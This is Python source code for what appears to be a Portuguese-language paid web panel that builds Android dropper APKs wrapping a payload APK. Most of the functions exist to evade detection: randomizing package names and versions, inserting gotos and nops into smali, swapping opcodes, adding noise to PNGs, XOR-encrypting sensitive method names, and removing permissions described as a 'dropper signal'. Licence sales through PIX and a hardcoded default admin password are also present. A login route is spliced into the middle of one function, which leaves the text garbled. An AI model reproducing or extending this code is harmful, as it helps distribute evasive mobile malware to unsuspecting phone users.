    assets_dir = os.path.join(dropper_work, 'assets')
    if not os.path.exists(assets_dir):
        print('[assets] assets/ nao existe, pulando')
        return
    rename_map = {}
    for fn in os.listdir(assets_dir):
        base, ext = os.path.splitext(fn)
        if ext.lower() in ('.html', '.css', '.js'):
            rand = ''.join(random.choices(_str.ascii_lowercase, k=random.randint(6, 10)))
            rename_map[fn] = rand + ext.lower()
    if not rename_map:
        print('[assets] nenhum .html/.css/.js encontrado')
        return
    print('[assets] ' + str(rename_map))
    for old, new in rename_map.items():
        try:
            os.rename(os.path.join(assets_dir, old), os.path.join(assets_dir, new))
        except Exception as e:
            print('[assets] rename falhou: ' + str(e))
    for rd, _, fs in os.walk(dropper_work):
        for fn in fs:
            if not fn.endswith(('.smali', '.xml', '.yml', '.html', '.css')):
                continue
            fp = os.path.join(rd, fn)
            try:
                with open(fp, 'r', encoding='utf-8', errors='ignore') as f:
                    txt = f.read()
                new_txt = txt
                for old, new in rename_map.items():
                    new_txt = new_txt.replace(old, new)
                if new_txt != txt:
                    with open(fp, 'w', encoding='utf-8') as f:
                        f.write(new_txt)
            except Exception:
                pass
    print('[assets] ' + str(len(rename_map)) + ' asset(s) renomeados')


def _randomize_dropper_package(dropper_work, orig_pkg=_DROPPER_ORIG_PKG):
    new_pkg = _gen_pkg()
    orig_slash = orig_pkg.replace('.', '/')
    new_slash  = new_pkg.replace('.', '/')
    old_smali  = os.path.join(dropper_work, 'smali', *orig_pkg.split('.'))
    new_smali  = os.path.join(dropper_work, 'smali', *new_pkg.split('.'))
    if os.path.exists(old_smali):
        os.makedirs(os.path.dirname(new_smali), exist_ok=True)
        shutil.move(old_smali, new_smali)
    for root_dir, _, files in os.walk(dropper_work):
        for fname in files:
            if not fname.endswith(('.smali', '.xml', '.yml')):
                continue
            fpath = os.path.join(root_dir, fname)
            try:
                with open(fpath, 'r', encoding='utf-8', errors='ignore') as f:
                    content = f.read()
                nc = content.replace(orig_slash, new_slash).replace(orig_pkg, new_pkg)
                if nc != content:
                    with open(fpath, 'w', encoding='utf-8') as f:
                        f.write(nc)
            except:
                pass

def _randomize_version(dropper_work):
    vc = str(random.randint(50, 999))
    vn = f"{random.randint(1,9)}.{random.randint(0,9)}.{random.randint(0,20)}"
    yml_path = os.path.join(dropper_work, 'apktool.yml')
    if os.path.exists(yml_path):
        try:
            with open(yml_path, 'r') as f: content = f.read()
            content = re.sub(r"versionCode: '[^']*'", f"versionCode: '{vc}'", content)
            content = re.sub(r"versionName: '[^']*'", f"versionName: '{vn}'", content)
            with open(yml_path, 'w') as f: f.write(content)
        except: pass
    mf_path = os.path.join(dropper_work, 'AndroidManifest.xml')
    if os.path.exists(mf_path):
        try:
            with open(mf_path, 'r', encoding='utf-8') as f: content = f.read()
            content = re.sub(r'platformBuildVersionCode="[^"]*"', f'platformBuildVersionCode="{vc}"', content)
            content = re.sub(r'platformBuildVersionName="[^"]*"', f'platformBuildVersionName="{vn}"', content)
            with open(mf_path, 'w', encoding='utf-8') as f: f.write(content)
        except: pass


def _obfuscate_gotos(dropper_work):
    _DROPPER_ROOTS = tuple(
        os.path.join("smali", *parts)
        for parts in [
            ("dev", "akamai"), ("io", "gitlab"), ("com", "android", "system"),
            ("com", "cloudflare"), ("net", "github"), ("com", "adobe"),
        ]
                        while j < len(lines) and _PURE.match(lines[j]):
@app.route('/login', methods=['POST'])
def login():
    ip = get_client_ip()
    if is_rate_limited(ip):
        send_discord_webhook(
            "ALERTA DE SEGURANCA",
            f"IP **{ip}** bloqueado por excesso de tentativas de login.",
            color=0xf59e0b
        )
        return jsonify({"success": False, "message": "Muitas tentativas. Aguarde 5 minutos."}), 429

    data = request.get_json(force=True, silent=True)
    if not isinstance(data, dict):
        return jsonify({"success": False, "message": "Dados invalidos"}), 400

    # ===== VERIFICAÇÃO DO TURNSTILE =====
    turnstile_response = data.get('cf-turnstile-response')
    if not turnstile_response:
        return jsonify({"success": False, "message": "Verificação de segurança falhou."}), 403

    # Validar o token com a Cloudflare
    try:
        payload = {
            'secret': '0x4AAAAAAD7yhi3d4yGfAgJE4seJsE6c1KI',
            'response': turnstile_response,
            'remoteip': ip
        }
        r = http_requests.post('https://challenges.cloudflare.com/turnstile/v0/siteverify', data=payload, timeout=5)
        result = r.json()
        if not result.get('success', False):
            error_codes = result.get('error-codes', [])
            if 'timeout' in error_codes or 'invalid' in str(error_codes):
                return jsonify({"success": False, "message": "Sessão expirada, recarregue a página."}), 403
            return jsonify({"success": False, "message": "Verificação de segurança falhou."}), 403
    except Exception as e:
        print(f"Erro ao verificar Turnstile: {e}")
        return jsonify({"success": False, "message": "Erro na verificação de segurança."}), 500

    # ===== LOGIN ORIGINAL =====
    u, p = data.get('username'), data.get('password')
    if not isinstance(u, str) or not isinstance(p, str):
        return jsonify({"success": False, "message": "Dados invalidos"}), 400
    u = u[:64]

    db = load_data()
    if u in db['users'] and verify_password(db['users'][u]['password'], p):
        if is_user_expired(db['users'][u]):
            return jsonify({"success": False, "message": "Licenca expirada"}), 403

        # Upgrade plaintext to hashed
        stored = db['users'][u]['password']
        if not (stored.startswith('pbkdf2:') or stored.startswith('scrypt:')):
            db['users'][u]['password'] = generate_password_hash(p)
            save_data(db)

        session.permanent = True
        session['username'] = u
        session['role'] = db['users'][u].get('role', 'operator')
        session['session_version'] = db['users'][u].get('session_version', 0)
        session['csrf_token'] = secrets.token_urlsafe(32)
        add_history(u, "Login", f"IP: {ip}")

        send_discord_webhook(
            "LOGIN",
            f"Usuario **{u}** fez login no painel.",
            color=0x6366f1,
            fields=[
                {"name": "Cargo", "value": session['role'], "inline": True},
                {"name": "IP", "value": ip, "inline": True}
            ]
        )
        return jsonify({"success": True, "role": session['role']})

    record_login_attempt(ip)
    send_discord_webhook(
        "LOGIN FALHOU",
        f"Tentativa de login invalida para **{u}**.",
        color=0xef4444,
        fields=[{"name": "IP", "value": ip, "inline": True}]
    )
    return jsonify({"success": False, "message": "Incorreto"}), 401
                            raw.append(lines[j]); j += 1
                        units = []; k = 0
                        while k < len(raw):
                            if (_INVOKE.match(raw[k]) and k+1 < len(raw) and _MRES.match(raw[k+1])):
                                units.append(raw[k:k+2]); k += 2
                            else:
                                units.append(raw[k:k+1]); k += 1
                        if len(units) >= 4 and random.random() < 0.35:
                            uid += 1
                            mid = random.randint(2, len(units) - 2)
                            first  = [l for u in units[:mid] for l in u]
                            second = [l for u in units[mid:] for l in u]
                            if _MRES.match(first[0]) or _MRES.match(second[0]):
                                new_lines.extend(raw); i = j; continue
                            tag = secrets.token_hex(3) + format(uid, "03x")
                            lf, lb, le = ":gf_"+tag, ":gb_"+tag, ":ge_"+tag
                            new_lines.append("    goto " + lf + "\n")
                            new_lines.append("    " + lb + "\n")
                            new_lines.extend(second)
                            new_lines.append("    goto " + le + "\n")
                            new_lines.append("    " + lf + "\n")
                            new_lines.extend(first)
                            new_lines.append("    goto " + lb + "\n")
                            new_lines.append("    " + le + "\n")
                            modified = True; i = j
                        else:
                            new_lines.extend(raw); i = j
                    else:
                        new_lines.append(lines[i]); i += 1
                if modified:
                    with open(fp, "w", encoding="utf-8") as f:
                        f.writelines(new_lines)
                    files_patched += 1
            except Exception as exc:
                print("[goto] erro em " + fn + ": " + str(exc))
    print("[goto] " + str(files_patched) + " arquivo(s) fragmentados com goto")


def _insert_nops(dropper_work):
    _DROPPER_ROOTS = tuple(
        os.path.join("smali", *parts)
        for parts in [
            ("dev", "akamai"), ("io", "gitlab"), ("com", "android", "system"),
            ("com", "cloudflare"), ("net", "github"), ("com", "adobe"),
        ]
    )
    def _is_own(fp):
        rel = os.path.relpath(fp, dropper_work)
        return any(rel.startswith(r) for r in _DROPPER_ROOTS)

    _BLOCK_OPEN  = (".annotation", ".array-data", ".packed-switch", ".sparse-switch", ".subannotation")
    _BLOCK_CLOSE = (".end annotation", ".end array-data", ".end packed-switch",
                    ".end sparse-switch", ".end subannotation")
    _INVOKE_RE = re.compile(r"^\s+(?:invoke-|filled-new-array)")
    _MRES_RE   = re.compile(r"^\s+move-result")

    def _next_nonempty(lines, idx):
        j = idx + 1
        while j < len(lines) and not lines[j].strip():
            j += 1
        return lines[j] if j < len(lines) else ""

    smali_dir = os.path.join(dropper_work, "smali")
    total_nops = 0
    files_patched = 0
    for rd, _, fs in os.walk(smali_dir):
        for fn in fs:
            if not fn.endswith(".smali"): continue
            fp = os.path.join(rd, fn)
            if not _is_own(fp): continue
            try:
                with open(fp, "r", encoding="utf-8", errors="ignore") as f:
                    lines = f.readlines()
                new_lines = []
                in_block = 0
                in_method = False
                added = 0
                for idx, line in enumerate(lines):
                    s = line.strip()
                    if s.startswith(".method "):
                        in_method = True
                    elif s == ".end method":
                        in_method = False
                    for blk in _BLOCK_OPEN:
                        if s.startswith(blk):
                            in_block += 1
                            break
                    new_lines.append(line)
                    for blk in _BLOCK_CLOSE:
                        if s.startswith(blk):
                            in_block = max(0, in_block - 1)
                            break
                    curr_is_invoke = bool(_INVOKE_RE.match(line))
                    next_real      = _next_nonempty(lines, idx)
                    next_is_mres   = bool(_MRES_RE.match(next_real))
                    if (in_method and in_block == 0 and s
                            and not s.startswith(".")
                            and not s.startswith(":")
                            and not s.startswith("#")
                            and s != "nop"
                            and not curr_is_invoke
                            and not next_is_mres
                            and random.random() < 0.20):
                        indent = len(line) - len(line.lstrip())
                        new_lines.append(" " * indent + "nop\n")
                        added += 1
                if added > 0:
                    with open(fp, "w", encoding="utf-8") as f:
                        f.writelines(new_lines)
                    total_nops += added
                    files_patched += 1
            except Exception as exc:
                print("[nop] erro em " + fn + ": " + str(exc))
    print("[nop] " + str(total_nops) + " nop(s) em " + str(files_patched) + " arquivo(s)")


def _swap_opcodes(dropper_work):
    _DROPPER_ROOTS = tuple(
        os.path.join("smali", *parts)
        for parts in [
            ("dev", "akamai"), ("io", "gitlab"), ("com", "android", "system"),
            ("com", "cloudflare"), ("net", "github"), ("com", "adobe"),
        ]
    )
    def _is_own(fp):
        rel = os.path.relpath(fp, dropper_work)
        return any(rel.startswith(r) for r in _DROPPER_ROOTS)

    smali_dir = os.path.join(dropper_work, "smali")
    _SWAPS = [
        (re.compile(r"(?m)^(\s+)const/4(\s)"),                   "const/16"),
        (re.compile(r"(?m)^(\s+)move-object(\s)"),               "move-object/from16"),
        (re.compile(r"(?m)^(\s+)move(?![-/])(\s)"),              "move/from16"),
        (re.compile(r"(?m)^(\s+)move-wide(?!/from16|/16)(\s)"),  "move-wide/from16"),
    ]
    files_patched = 0
    for rd, _, fs in os.walk(smali_dir):
        for fn in fs:
            if not fn.endswith(".smali"): continue
            fp = os.path.join(rd, fn)
            if not _is_own(fp): continue
            try:
                with open(fp, "r", encoding="utf-8", errors="ignore") as f:
                    txt = f.read()
                new_txt = txt
                for pat, new_op in _SWAPS:
                    def _sub(m, op=new_op):
                        return (m.group(1) + op + m.group(2)) if random.random() < 0.5 else m.group(0)
                    new_txt = pat.sub(_sub, new_txt)
                if new_txt != txt:
                    with open(fp, "w", encoding="utf-8") as f:
                        f.write(new_txt)
                    files_patched += 1
            except Exception as exc:
                print("[opcodes] erro em " + fn + ": " + str(exc))
    print("[opcodes] " + str(files_patched) + " arquivo(s) com opcodes substituidos")


def _add_png_noise(dropper_work):
    import struct, zlib
    res_dir = os.path.join(dropper_work, "res")
    if not os.path.isdir(res_dir):
        return
    count = 0
    for rd, _, fs in os.walk(res_dir):
        for fn in fs:
            if not fn.lower().endswith(".png"):
                continue
            fp = os.path.join(rd, fn)
            try:
                with open(fp, "rb") as fh:
                    data = fh.read()
                if not data.startswith(b'\x89PNG\r\n\x1a\n'):
                    continue
                iend_pos = data.rfind(b'IEND')
                if iend_pos < 4:
                    continue
                insert_at = iend_pos - 4
                noise = secrets.token_hex(8).encode()
                payload = b'Comment\x00' + noise
                chunk_type = b'tEXt'
                crc_val = zlib.crc32(chunk_type + payload) & 0xffffffff
                chunk = (struct.pack('>I', len(payload)) + chunk_type
                         + payload + struct.pack('>I', crc_val))
                new_data = data[:insert_at] + chunk + data[insert_at:]
                with open(fp, "wb") as fh:
                    fh.write(new_data)
                count += 1
            except Exception as exc:
                print("[png] erro em " + fn + ": " + str(exc))
    print("[png] " + str(count) + " PNG(s) com noise injetado")


def _randomize_xml_paths(dropper_work):
    fp = os.path.join(dropper_work, "res", "xml", "file_paths.xml")
    if not os.path.exists(fp):
        return
    try:
        with open(fp, "r", encoding="utf-8") as fh:
            txt = fh.read()
        dummy_name = "tmp_" + secrets.token_hex(4)
        dummy_path = "cache_" + secrets.token_hex(4) + "/"
        entry = '    <files-path name="{}" path="{}" />\n'.format(dummy_name, dummy_path)
        if '</paths>' in txt:
            txt = txt.replace('</paths>', entry + '</paths>', 1)
            with open(fp, "w", encoding="utf-8") as fh:
                fh.write(txt)
            print("[xml] file_paths.xml: entrada ficticia adicionada (" + dummy_name + ")")
    except Exception as exc:
        print("[xml] erro: " + str(exc))



def _encrypt_h_strings(dropper_work):
    """XOR-cifra os placeholders de nomes de metodo em H.smali.
    Cada build gera chaves diferentes — os bytes do APK mudam por build."""
    import base64 as _b64
    # Mapeamento placeholder -> metodo real
    _H_MAP = {
        'H_DATA_A': 'getPackageManager',
        'H_DATA_B': 'getSystemService',
        'H_DATA_C': 'canRequestPackageInstalls',
        'H_DATA_D': 'getPackageName',
        'H_DATA_E': 'getLaunchIntentForPackage',
    }
    # Encontra H.smali no dropper_work (nome pode mudar apos _randomize_class_names)
    h_target = None
    for _rd, _, _fs in os.walk(os.path.join(dropper_work, 'smali')):
        for _fn in _fs:
            if _fn == 'H.smali':
                h_target = os.path.join(_rd, _fn)
                break
        if h_target:
            break
    if not h_target:
        print('[enc_h] H.smali nao encontrado, pulando')
        return
    with open(h_target, 'r', encoding='utf-8') as _f:
        _txt = _f.read()
    _patched = 0
    for _data_ph, _plain in _H_MAP.items():
        _key_ph = _data_ph.replace('DATA', 'KEY')
        if _data_ph not in _txt:
            continue
        # Gera XOR aleatorio por build
        _pt  = _plain.encode('utf-8')
        _kb  = ''.join(random.choices(string.ascii_letters + string.digits,
                                       k=random.randint(8, 16))).encode('utf-8')
        _enc = bytes(_pt[i] ^ _kb[i % len(_kb)] for i in range(len(_pt)))
        _enc_b64 = _b64.b64encode(_enc).decode()
        _key_b64 = _b64.b64encode(_kb).decode()
        _txt = _txt.replace(f'"{ _data_ph}"', f'"{_enc_b64}"', 1)
        _txt = _txt.replace(f'"{ _key_ph}"',  f'"{_key_b64}"', 1)
        _patched += 1
    if _patched:
        with open(h_target, 'w', encoding='utf-8') as _f:
            _f.write(_txt)
        print(f'[enc_h] {_patched} string(s) cifradas em H.smali')
    else:
        print('[enc_h] nenhum placeholder encontrado em H.smali')


app = Flask(__name__)

SECRET_KEY_FILE = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'apk_dropper', '.secret_key')
if os.path.exists(SECRET_KEY_FILE):
    with open(SECRET_KEY_FILE, 'r') as _f:
        app.secret_key = _f.read().strip()
else:
    app.secret_key = secrets.token_hex(32)
    os.makedirs(os.path.dirname(SECRET_KEY_FILE), exist_ok=True)
    with open(SECRET_KEY_FILE, 'w') as _f:
        _f.write(app.secret_key)

app.config['MAX_CONTENT_LENGTH'] = 200 * 1024 * 1024  # was 2GB; capped to realistic APK size
app.config['SESSION_COOKIE_SECURE'] = False
app.config['SESSION_COOKIE_HTTPONLY'] = True
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(days=7)  # was 30d; reduced for safer compromise window

BASE_DIR = os.path.abspath(os.path.dirname(__file__))
app.config['UPLOAD_FOLDER'] = os.path.join(BASE_DIR, 'uploads')
app.config['OUTPUT_FOLDER'] = os.path.join(BASE_DIR, 'outputs')
app.config['PDF_FOLDER'] = os.path.join(BASE_DIR, 'pdfs')
DATA_DIR = os.path.join(BASE_DIR, 'apk_dropper')
DATA_FILE = os.path.join(DATA_DIR, 'data.json')
PDF_TOKENS_FILE = os.path.join(DATA_DIR, 'pdf_tokens.json')

for d in [app.config['UPLOAD_FOLDER'], app.config['OUTPUT_FOLDER'], app.config['PDF_FOLDER'], DATA_DIR]:
    os.makedirs(d, exist_ok=True)

DROPPER_TEMPLATE = os.path.join(BASE_DIR, "dropper_rebuild")
PLAYSTORE_OVERLAY = os.path.join(BASE_DIR, "playstore_overlay")
REDIRECT_OVERLAY = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'redirect_overlay')
SIGNER_JAR = os.path.join(BASE_DIR, "signer.jar")
APKTOOL_JAR = os.path.join(BASE_DIR, "apktool.jar")

BUILD_STATUS = {}
# Cap concurrent build threads to protect CPU/disk. Operators flooding /upload
# get queued behind this semaphore instead of spinning up unlimited apktool processes.
_BUILD_SEMAPHORE = threading.BoundedSemaphore(2)

login_attempts = defaultdict(list)
MAX_ATTEMPTS = 10
ATTEMPT_WINDOW = 300

register_attempts = defaultdict(list)
MAX_REGISTER_ATTEMPTS = 5
REGISTER_WINDOW = 300

_reg_lock = threading.Lock()

PLAN_PRICES = {
    "7":  {"days": 7,  "label": "7 Dias",  "price": 17000},
    "15": {"days": 15, "label": "15 Dias", "price": 27000},
    "30": {"days": 30, "label": "30 Dias", "price": 36000},
}

# Token cache: { "client_id:client_secret": {"token": str, "expires_at": datetime} }
_gw_token_cache = {}

def send_discord_webhook(title, description, color=0x6b7280, fields=None):
    pass

# ===== DATA MANAGEMENT =====
def load_data():
    if not os.path.exists(DATA_FILE):
        initial_data = {
            "users": {
                "admin": {
                    "password": generate_password_hash("admin123"),
                    "role": "owner",
                    "email": "",
                    "created_at": datetime.now().isoformat(),
                    "license_days": None,
                    "license_expires_at": None,
                    "status": "active",
                    "builds": [],
                    "team_id": None,
                    "amplification": {"total_builds": 0, "successful_builds": 0, "failed_builds": 0}
                }
            },
            "pending_registrations": {},
            "teams": {},
            "history": [],
            "settings": {
                "max_users_per_admin": 10,
                "default_license_days": 30,
                "auto_cleanup_days": 7,
                "gateway": {
                    "base_url": "https://api.syncpayments.com.br",
                    "client_id": "",
                    "client_secret": "",
                    "webhook_secret": "",
                    "enabled": False
                }
            }
        }
        with open(DATA_FILE, 'w') as f:
            json.dump(initial_data, f, indent=4)
        return initial_data

    _default_gw = {"base_url": "https://api.syncpayments.com.br", "client_id": "", "client_secret": "", "webhook_secret": "", "enabled": False}
    with open(DATA_FILE, 'r') as f:
        try:
            data = json.load(f)
            if "settings" not in data:
                data["settings"] = {"max_users_per_admin": 10, "default_license_days": 30, "auto_cleanup_days": 7}
            if "gateway" not in data["settings"]:
                data["settings"]["gateway"] = dict(_default_gw)
            else:
                for k, v in _default_gw.items():
                    data["settings"]["gateway"].setdefault(k, v)
            if "teams" not in data:
                data["teams"] = {}
            if "history" not in data:
                data["history"] = []
            if "pending_registrations" not in data:
                data["pending_registrations"] = {}
            return data
        except:
            return {
                "users": {}, "teams": {}, "history": [], "pending_registrations": {},
                "settings": {
                    "max_users_per_admin": 10, "default_license_days": 30, "auto_cleanup_days": 7,
                    "gateway": dict(_default_gw)
                }
            }

_save_lock = threading.Lock()

def save_data(data):
    # Atomic write: tmp file -> fsync -> os.replace (rename is atomic on POSIX)
    # Wrapped in a global lock so concurrent handlers don't lose writes.
    with _save_lock:
        tmp_path = DATA_FILE + '.tmp'
        with open(tmp_path, 'w') as f:
            json.dump(data, f, indent=4)
            f.flush()
            try:
                os.fsync(f.fileno())
            except OSError:
                pass
        os.replace(tmp_path, DATA_FILE)

def verify_password(stored, provided):
    if stored.startswith('pbkdf2:') or stored.startswith('scrypt:'):
        return check_password_hash(stored, provided)
    return stored == provided

def is_user_expired(user_data):
    if user_data.get('status') == 'inactive':
        return True
    if user_data.get('role') == 'owner':
        return False
    license_expires_at = user_data.get('license_expires_at')
    if license_expires_at:
        try:
            if datetime.now() > datetime.fromisoformat(license_expires_at):
                return True
        except:
            pass
    return False

def _is_valid_ip(s):
    if not s: return False
    s = s.strip()
    # IPv4 simples
    if s.count('.') == 3:
        try:
            return all(0 <= int(p) <= 255 for p in s.split('.'))
        except: return False
    # IPv6 — basta haver ':' e não ter espaço/aspas
    if ':' in s and ' ' not in s and '"' not in s and "'" not in s and '<' not in s:
        return True
    return False

def get_client_ip():
    # Trust order: CF-Connecting-IP (apenas se nginx setou via header CF), X-Real-IP, remote_addr.
    # X-Forwarded-For NAO é confiável (left-most pode ser injetado pelo cliente).
    for header in ('CF-Connecting-IP', 'X-Real-IP'):
        v = request.headers.get(header, '').strip()
        if _is_valid_ip(v):
            return v
    return (request.remote_addr or 'unknown').strip()

def is_rate_limited(ip):
    now = time.time()
    login_attempts[ip] = [t for t in login_attempts[ip] if now - t < ATTEMPT_WINDOW]
    return len(login_attempts[ip]) >= MAX_ATTEMPTS

def record_login_attempt(ip):
    login_attempts[ip].append(time.time())

def is_register_limited(ip):
    now = time.time()
    register_attempts[ip] = [t for t in register_attempts[ip] if now - t < REGISTER_WINDOW]
    return len(register_attempts[ip]) >= MAX_REGISTER_ATTEMPTS

def record_register_attempt(ip):
    register_attempts[ip].append(time.time())

def get_user_role(username):
    data = load_data()
    if username in data["users"]:
        return data["users"][username].get("role", "operator")
    return None

def get_team_id(username):
    data = load_data()
    if username in data["users"]:
        return data["users"][username].get("team_id")
    return None

def can_manage_user(current_user, target_user):
    data = load_data()
    current_role = data["users"].get(current_user, {}).get("role")
    target_role = data["users"].get(target_user, {}).get("role")
    if current_role == "owner":
        return True
    if current_role == "admin":
        if target_role == "operator":
            return data["users"][current_user].get("team_id") == data["users"][target_user].get("team_id")
    return False

def add_history(user, action, details):
    data = load_data()
    data["history"].insert(0, {
        "user": user, "action": action, "details": details,
        "timestamp": datetime.now().strftime("%d/%m/%Y %H:%M:%S")
    })
    data["history"] = data["history"][:500]
    save_data(data)

def add_build_history(username, app_name, status, build_id):
    data = load_data()
    if username in data["users"]:
        if "builds" not in data["users"][username]:
            data["users"][username]["builds"] = []
        builds = data["users"][username]["builds"]
        for build in builds:
            if build.get("build_id") == build_id:
                build["status"] = status
                build["timestamp"] = datetime.now().isoformat()
                build["date_display"] = datetime.now().strftime("%d/%m/%Y %H:%M:%S")
                save_data(data)
                return
        builds.insert(0, {
            "build_id": build_id, "app_name": app_name, "status": status,
            "timestamp": datetime.now().isoformat(),
            "date_display": datetime.now().strftime("%d/%m/%Y %H:%M:%S")
        })
        data["users"][username]["builds"] = builds[:500]
        save_data(data)

def update_amplification(username, build_status):
    data = load_data()
    if username in data["users"]:
        if "amplification" not in data["users"][username]:
            data["users"][username]["amplification"] = {"total_builds": 0, "successful_builds": 0, "failed_builds": 0}
        data["users"][username]["amplification"]["total_builds"] += 1
        if build_status == "concluido":
            data["users"][username]["amplification"]["successful_builds"] += 1
        elif build_status == "erro":
            data["users"][username]["amplification"]["failed_builds"] += 1
        save_data(data)

def encrypt_lcg(data, seed):
    j = seed
    encrypted = bytearray()
    for byte in data:
        j = ((j * 1664525) + 1013904223) & 0xFFFFFFFF
        encrypted.append(byte ^ ((j >> 24) & 0xFF))
    return encrypted

# ===== PIX GATEWAY (partner v1) =====
def _qr_from_pix_code(pix_code: str) -> str:
    """Generate base64 PNG QR code from PIX EMV string."""
    try:
        import qrcode
        from io import BytesIO
        import base64
        qr = qrcode.QRCode(error_correction=qrcode.constants.ERROR_CORRECT_M, box_size=6, border=2)
        qr.add_data(pix_code)
        qr.make(fit=True)
        img = qr.make_image(fill_color='black', back_color='white')
        buf = BytesIO()
        img.save(buf, format='PNG')
        return base64.b64encode(buf.getvalue()).decode()
    except Exception:
        return ''

def _get_gateway_token(gateway_config: dict) -> str:
    """Get or refresh Bearer token using /api/partner/v1/auth-token. Caches for ~1h."""
    base_url = gateway_config.get('base_url', '').rstrip('/')
    client_id = gateway_config.get('client_id', '')
    client_secret = gateway_config.get('client_secret', '')
    cache_key = f"{client_id}:{client_secret}"

    cached = _gw_token_cache.get(cache_key)
    if cached and datetime.now() < cached['expires_at']:
        return cached['token']

    resp = http_requests.post(
        f'{base_url}/api/partner/v1/auth-token',
        json={'client_id': client_id, 'client_secret': client_secret},
        headers={'Content-Type': 'application/json', 'Accept': 'application/json'},
        timeout=15
    )
    if resp.status_code != 200:
        raise Exception(f"Auth falhou ({resp.status_code}): {resp.text[:200]}")

    d = resp.json()
    token = d.get('access_token', '')
    expires_in = int(d.get('expires_in', 3600))
    _gw_token_cache[cache_key] = {
        'token': token,
        'expires_at': datetime.now() + timedelta(seconds=max(expires_in - 120, 60))
    }
    return token

def create_pix_charge(amount_cents, description, external_id, gateway_config, client_data=None):
    """Create PIX charge via /api/partner/v1/cash-in."""
    if not gateway_config.get('enabled'):
        raise Exception("Gateway desativado")

    base_url = gateway_config.get('base_url', '').rstrip('/')
    if not base_url:
        raise Exception("Base URL do gateway nao configurada")

    token = _get_gateway_token(gateway_config)

    body = {
        'amount': round(amount_cents / 100, 2),
        'description': description or 'BYPASS - Plano de acesso',
    }
    if client_data:
        body['client'] = client_data

    resp = http_requests.post(
        f'{base_url}/api/partner/v1/cash-in',
        headers={
            'Authorization': f'Bearer {token}',
            'Content-Type': 'application/json',
            'Accept': 'application/json',
        },
        json=body,
        timeout=20
    )
    if resp.status_code not in (200, 201):
        raise Exception(f"Cash-in falhou ({resp.status_code}): {resp.text[:250]}")

    d = resp.json()
    pix_code = d.get('pix_code', '')
    identifier = d.get('identifier', external_id)

    return {
        'charge_id': str(identifier),
        'qr_code_base64': _qr_from_pix_code(pix_code),
        'copy_paste': pix_code,
        'status': 'pending'
    }

def check_pix_status(charge_id, gateway_config):
    """Poll /api/partner/v1/transaction/{identifier} for real-time status."""
    base_url = gateway_config.get('base_url', '').rstrip('/')
    if not base_url or not charge_id:
        return 'pending'
    try:
        token = _get_gateway_token(gateway_config)
        resp = http_requests.get(
            f'{base_url}/api/partner/v1/transaction/{charge_id}',
            headers={'Authorization': f'Bearer {token}', 'Accept': 'application/json'},
            timeout=10
        )
        if resp.status_code == 200:
            status = resp.json().get('data', {}).get('status', 'pending')
            if status == 'completed':
                return 'paid'
            if status in ('failed', 'refunded', 'med'):
                return 'failed'
    except Exception:
        pass
    return 'pending'

# ===== APK PROCESSING =====
def _fix_manifest_queries(dropper_work, user_apk_path):
    """Remove QUERY_ALL_PACKAGES (permissao broad, sinal de dropper) e injeta
    <queries> granular com o pacote do payload. Mantem getPackageInfo funcionando
    em Android 11+ sem o sinal de dropper. Nao altera o fluxo do app."""
    import tempfile as _tf
    mf = os.path.join(dropper_work, 'AndroidManifest.xml')
    if not os.path.exists(mf):
        return
    with open(mf, 'r', encoding='utf-8') as f:
        man = f.read()
    # 1) remove QUERY_ALL_PACKAGES (se ainda houver)
    man = re.sub(r'\s*<uses-permission android:name="android\.permission\.QUERY_ALL_PACKAGES"/>', '', man)
    # 2) extrai o package name do payload (apktool d -s -> XML texto)
    payload_pkg = None
    pkg_dec = _tf.mkdtemp(prefix='pkgq_')
    try:
        _r = subprocess.run(['java', '-jar', APKTOOL_JAR, 'd', '-s',
                             user_apk_path, '-o', pkg_dec, '-f'],
                            capture_output=True, text=True, timeout=180)
        if _r.returncode == 0:
            _mp = os.path.join(pkg_dec, 'AndroidManifest.xml')
            if os.path.exists(_mp):
                with open(_mp, 'r', encoding='utf-8', errors='ignore') as _f:
                    _mt = _f.read()
                _mm = re.search(r'<manifest\b[^>]*\bpackage="([^"]+)"', _mt)
                if _mm:
                    _cand = _mm.group(1).strip()
                    if _cand and ' ' not in _cand and re.match(r'^[A-Za-z][A-Za-z0-9_.]*$', _cand):
                        payload_pkg = _cand
    except Exception as _e:
        print(f'[manifest_fix] aviso extracao pkg: {_e}')
    finally:
        shutil.rmtree(pkg_dec, ignore_errors=True)
    # 3) injeta <queries> com o pacote do payload (antes de <application>)
    if payload_pkg and '<queries>' not in man:
        _qb = '\n    <queries>\n        <package android:name="' + payload_pkg + '"/>\n    </queries>\n'
        man = man.replace('<application', _qb + '    <application', 1)
    with open(mf, 'w', encoding='utf-8') as f:
        f.write(man)
    print(f'[manifest_fix] QUERY_ALL removido; <queries> pkg={payload_pkg or "(nao detectado)"}')


def process_apk(build_id, user_apk_path, custom_app_name, username, custom_icon_path=None, dropper_config=None, visual_mode="padrao", hide_icon=False, custom_html=None, redirect_url=None):
    user_apk_extracted = os.path.join(app.config['UPLOAD_FOLDER'], f"{build_id}_extracted")
    dropper_work       = os.path.join(app.config['UPLOAD_FOLDER'], f"{build_id}_dropper")
    unsigned_apk_path  = os.path.join(app.config['OUTPUT_FOLDER'], f"{build_id}_unsigned.apk")
    aligned_apk_path   = os.path.join(app.config['OUTPUT_FOLDER'], f"{build_id}_aligned.apk")
    BUILD_STATUS[build_id] = {"status": "Aguardando vaga...", "progress": 5}
    _BUILD_SEMAPHORE.acquire()
    try:
        add_build_history(username, custom_app_name, "processando", build_id)
        BUILD_STATUS[build_id] = {"status": "Extraindo APK...", "progress": 15}
        if os.path.exists(user_apk_extracted):
            shutil.rmtree(user_apk_extracted)
        os.makedirs(user_apk_extracted, exist_ok=True)

        try:
            with zipfile.ZipFile(user_apk_path, 'r') as zip_ref:
                zip_ref.extractall(user_apk_extracted)
        except:
            with zipfile.ZipFile(user_apk_path, 'r') as zip_ref:
                for member in zip_ref.namelist():
                    try:
                        zip_ref.extract(member, user_apk_extracted)
                    except:
                        pass

        if not os.path.exists(os.path.join(user_apk_extracted, "AndroidManifest.xml")):
            BUILD_STATUS[build_id] = {"status": "Extraindo via Apktool...", "progress": 20}
            subprocess.run(['java', '-jar', APKTOOL_JAR, 'd', user_apk_path, '-o', user_apk_extracted, '-f'])

        BUILD_STATUS[build_id] = {"status": "Preparando Dropper", "progress": 30}
        if os.path.exists(dropper_work):
            shutil.rmtree(dropper_work)
        shutil.copytree(DROPPER_TEMPLATE, dropper_work)

